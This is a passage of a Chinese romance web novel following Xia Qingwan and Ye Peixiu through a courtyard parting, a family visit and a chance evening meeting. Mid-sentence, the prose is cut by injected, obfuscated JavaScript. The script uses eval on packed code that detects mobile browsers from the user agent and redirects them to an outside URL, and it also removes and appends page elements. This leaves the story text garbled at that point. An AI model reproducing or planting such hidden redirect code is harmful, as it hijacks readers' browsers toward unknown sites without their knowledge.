“快别说了,这么多人呢。” 林向榆忙去捂他的嘴。 夏清晚心里也浮现一丝温暖的笑意,不近不远跟着他俩离开了中堂。 她也许应该跟叶裴修道个别,可是在场人太多,她回头看了一眼,灯火通明的中堂,几个人三三两两绕过屏风走出来。 没有叶裴修的影子。 林向榆的几个小姐妹顺路跟她道再见,各自结伴离开了。 天色已经晚了。 忽起了阵阵凉风,看来,又有一场雷阵雨。 空气中已经隐约有了潮湿的土腥味。 夏清晚莫名想起那晚叶先生帮她解围带她去吃饭,那时也是在这样的游廊下,她跟他还不熟,并且预料着以后也不会有什么攀扯,所以能够坦然地回答他:看一个人。 一两个月过去,他们熟悉了很多,距离却好似更远了。 如逆水行舟。进半寸,退一寸。 也罢。 他们本该是这样远。 如此深吸一口气,她终于迈动步子。 视线不经意扫过,隔着院落,回字型游廊的另一边,有一道身影。 叶裴修。 昏朦的傍晚,隔着清瘦嶙峋的湖石,隔着侧柏海棠的婆娑树影,叶裴修在另一边与她同向而行。 游廊从没有像今天这样长又这样短过。 她偶尔瞥过去一眼。 他们的视线总是错开,彼此瞥了对方好几眼,目光却没有一次碰上过。 路径最终在垂花门下交汇。 明明是叶裴修离得更近,他却稍晚几步抵达,走在她的后面。 夏清晚没有回头。 步伐稳健,直走出大门,穿过胡同,站在胡同口等网约车。 在等车的数分钟时间里,她的余光能够捕捉到,叶先生的那辆奥迪车缓缓从胡同里开出来,而后一直停在不远处辅路上。 网约车到了。 她上车,降下车窗。 奥迪车也随着启动,汇入主路车流。 窗外一阵潮湿的风拂进来。 鼻尖隐约嗅到雨水的气息,就像是溽闷的夏日午后,要喝一杯冰水,唇舌还没尝到,手指捏着杯壁,已经提前感受到了那份冰凉。 - 隔了没几天,夏家老宅,夏清晚在客厅跟田野调查项目组开语音会议时,她堂哥夏明州施施然走进来。 见她在忙,就没走近打扰,喜奶奶给他倒了杯凉茶,让他在一旁坐下来。 “嗯,我知道了。” 夏清晚戴着耳机,对屏幕说道,过片刻又笑了笑,“好的,学姐。” 夏明州一直笑着瞧着她,待她挂断语音,摘下耳机,就摇头叹说,“清晚,我真觉得你长大了不少。” 跟同学老师开会,还真挺像那么回事儿。 夏清晚失笑。 喜奶奶也笑,“真这么说起来,明州你19岁的时候,还是个傻小子呢,比现在的清晚差远了。” 夏明州笑呵呵没接话。 “你干什么来了?有事找我?” 夏清晚收拾完桌子上散落的文件,码整齐抱起来。 “这不是奶奶不在家嘛,怕你有个什么事儿没人照顾,所以来看看。” 夏清晚一边往楼梯上走,一边说,“这几天我在家,倒是没什么,下周三我离京之后,还真要劳烦你多来看看喜奶奶,她老人家要独居一个月,我有点不放心。” 夏明州一步两个台阶赶上来,跟着她上楼,“嗐,这有什么,包在我身上。” 来到卧室,夏清晚把文件放到书桌上,又转头收拾行李。 夏明州在她卧室四处转看,看到她床头趴着一只大黄狗玩偶,也不知是不是洗太多次的缘故,皮毛黄得有点发白了。 “哟,你怎么还有这个!” 说着就要拿起来看,夏清晚箭步过来阻止,“别碰。” 夏明州收回手,笑说,“我记得,咱们小时候这个玩偶很流行啊,当时只有东方新天地有卖的。” “嗯。” 夏清晚把大黄狗玩偶重新摆好,放在枕头旁。 这是很早以前,喜奶奶第一次南下看她时给她带的,说是在上京商场买的,在小朋友之间很流行呢。 从那开始,这件玩偶一直陪她到现在。 “我还要收拾行李,你要不下楼去陪喜奶奶说说话吧?” 夏清晚说。 夏明州笑嘻嘻地应承着,“好好。”抬脚往门口走了两步,又转而漫不经心地问,“妹妹,你最近有没有认识什么人?” “怎么这么问?” “嗐,映煊他们几个乱说的,说看见你跟一个男的说话,他们说那男的人不行,让我提醒你一声。” 这话从头到尾都站不住脚,乔映煊那几个公子哥对她没有这样的好心。夏清晚不动声色,笑说,“在哪儿看见的?” “我也没问,急着想过来跟你说一声,”说到这儿,夏明州语调陡然变高了些,似是突然找到了有理有据的说辞,“你啊,就是被奶奶保护的太好了!很容易被那些甜言蜜语不三不四的男人骗!” 夏清晚还是笑,“我不记得有这事,也许是他们看错了,或者我只是在跟某个男同学说话,不过,还是谢谢他们的好意。” “真没这回事?” 夏明州狐疑,“你没必要对我撒谎啊,你知道的,如果真有人要欺负你,我第一个帮你出头的。” “我知道,但是真没这事,有什么麻烦事我会告诉你的。” “……那就好。” 两个人又说了几句,夏明州就下楼去了。 不大会儿,喜奶奶就上楼来,说明州已经走了。 夏清晚不经意地问,“我看他心事重重的样子呢,他跟你说什么了吗?” “没有啊,”喜奶奶道,“他在楼下喝了杯茶就走了。” 夏清晚若有所思点点头。 不管实际情况如何,夏明州假借事由来打探她的交际是真。以她对夏明州的了解,他不是会打探这些事的性格,即便真有什么好奇心,也大概率会有话直说,不会这样绕弯子。 也许,是夏长平让他来的。 - 七月初这天晚上,叶裴修和盛骏驰去大院看望一位老前辈。 老前辈留他们到晚上,喝茶聊天之后,送他们出门。 辞别老前辈,叶裴修和盛骏驰两个人并排往停车场走。 经过大院的宴会楼。 最近有新政策下来,聚会喝酒的人少了,大院里的宴会楼门厅寥寥,有个小姑娘手拎食盒低着头抄近路斜斜走出来。 她戴着顶鸭舌帽,身穿一袭宽松的黑色长裙,走出两步,大约是余光瞥到了人影,扭头看过来。 盛骏驰先出了声,“夏小姐,好巧。” 夏清晚摘下耳机,礼貌打招呼,“盛先生,叶先生。” 前几天在会所里淡淡地打招呼,今儿又来这一出,是打定主意以后跟他回归点头之交了么? 叶裴修面上不显任何情绪,“怎么在这儿?” 盛骏驰眼神来回扫过这隔着几步远的两个人,饶有兴味。 “天气热,喜奶奶没胃口,我来给她打包点绿豆冰酪。” 盛骏驰接话说,“这东西能败火啊?” 夏清晚一顿,看向他,“……嗯。” “我最近也没什么胃口,家里做的是吃腻了,”盛骏驰道,“夏小姐,宴会厅里头还营业不?我也去弄点来。” “还在营业。” “诶,那正好,裴修你等我一会儿。” 盛骏驰说着,脚步已经往宴会楼里走。 本就是偶遇,夏清 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15887357|176429||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 晚已经抬脚要走,没料到状况竟会突变成这样,一时倒不好立刻走开了。 眼见她脚步踟蹰,这一回,叶裴修却没有体贴地为她解围让她离开了,他只是站在原地,默默看着她。 没有旁人在场了,他们却两两无言,气氛反而更古怪。 夏清晚想找点无关痛痒的话,搜肠刮肚,“……最近天气突然热起——” 正巧叶裴修也同时出声,“耳机里听的什么?” 她微顿了一下,说,“古诗词解析。” “什么时候动身去乡下?” “后天。” “注意安全,到了记得报平安。” “嗯。” 叶裴修这时候笑了一声,道,“天儿确实热了,一场暴雨之后就变了脸。” 夏清晚拿不准他这话是不是有别的意思,不由抬头看他。 澄黄路灯下,鸭舌帽底下抬起一张巴掌大的脸蛋儿,娇艳清澈,像绿幽深荫山谷里一阵清凉的晚风,沉静怡人。 他记得她手腕的触感,温凉嫩滑。 她整个人正好站在叶裴修的影子里,他逆着路灯的光,宽肩长腿的身形像被描了一层金边。夏清晚莫名觉得,他像皮影戏里头映在屏幕上的影子,作为观众的她,只能看到这影子。 再赏心悦目,再引人流连,也只不过是虚影而已。 是镜花水月,是子规声里如烟的细雨。 盛骏驰刻意磨蹭了好一阵子才从楼里走出来。 本来还生怕打扰了两人的相处,一走近,却只见叶裴修一个人站在路灯下抽烟。 身影冷寂,像屋后阴凉处经年不化的残雪。 - 夏清晚回到家,把绿豆冰酪放餐桌上,让喜奶奶过来吃。 喜奶奶恹恹吃着的时候,夏清晚去储物间翻出空气循环扇,拿湿纸巾擦干净,放到喜奶奶房里,对着窗户吹。 喜奶奶年纪大了,不爱吹空调,这阵子天气又实在古怪,六月前半月还凉凉的,很有春风习习的舒适,下半月暴雨之后陡然热起来,喜奶奶耐不住这暑热,夏清晚便从网上学了这个法子,试图让她老人家舒服些。 喜奶奶洗漱完,夏清晚带她去卧室,一一讲解说,“就让循环扇对着窗户吹,空气流通起来就好一些,您千万别贪凉,别把循环扇对着床,要不然明天一早起来准要头痛。” “好好。” 喜奶奶倚靠着床头躺下,忍不住叹气,“真是的,倒劳烦你来照顾我了。” 夏清晚笑道,“您快睡吧,别说话了。” 说着,她揭过夏凉被,给喜奶奶盖上肚子。 看她这个动作,喜奶奶不由笑了。 好多年前,喜奶奶曾受夏惠卿委托南下看望过她好多次,每次都陪她住一阵,夏天时候,一老一小挤一张床,寄住的老师家这间房没装空调,那时,喜奶奶就给她盖着肚子,拿着蒲扇给她摇啊摇,哄她睡觉。 喜奶奶拍拍她的手,“你也快去睡吧。” - 七月上旬。 上京这阵子的天气着实奇怪,每天都半阴半晴,不上不下让人焦躁,捂蒸了一整个白天之后,晚上便闷雷轰隆,噼里啪啦下上一阵瓢泼大雨。 第二天一早,又是一个潮闷的天气,仰头望去,天空一片刺目的钝白,像蒸笼里冒着白气腻白晶莹的糯米糕。吃起来毫无甜味的那一类。 周末这天,叶裴修带梁心吾去裁缝店取衣服。 裁缝店的吴奶奶问起夏清晚,梁心吾道,“小姑娘去做暑期项目啦,这个月都不在京里。” “这样,”吴奶奶笑说,“我给她做了几身衣服,想着哪天让她过来试试看呢。” “等下个月她回来吧,让裴修带她来试。” 两个老人闲聊着喝茶。 叶裴修在窗前交椅上坐着,随手翻杂志,没有搭话也没有抬眼。 梁心吾问他,“清晚在那边怎么样啊?我看天气预报,山城一直下雨呢。” “不清楚。” 梁心吾诧异,“你没有跟她联系?” 叶裴修不回答。 “小夏内敛,遇到难处怕也不会主动说,你当哥哥的,合该多关心一点。” 叶裴修就笑,随手翻页,“她几时认我当哥哥了?” “她是个外冷内热的,虽然嘴上不说,心里一定会记得你的好。” “是吗。” 叶裴修无可无不可的态度,淡淡的答。心里却想,她恐怕就是太记得他的好了。以至于生怕还不清,就索性不跟他接触了。 “那当然了,”梁心吾在里间试衣服,扬着嗓子说,“小夏是顶透明一个小姑娘,难道你还看不出来她的为人?” 叶裴修不觉得她透明。 像云遮雾罩的青山神峰,观者可以知其形,咏其韵,魂牵梦萦,却难以接近。 简直像条滑溜溜的鱼,他怎么都抓不住。 他若真要下狠心把她箍住了,让她乖乖躺在自己掌心动弹不得…… 那样的话…… 叶裴修刹住了思绪。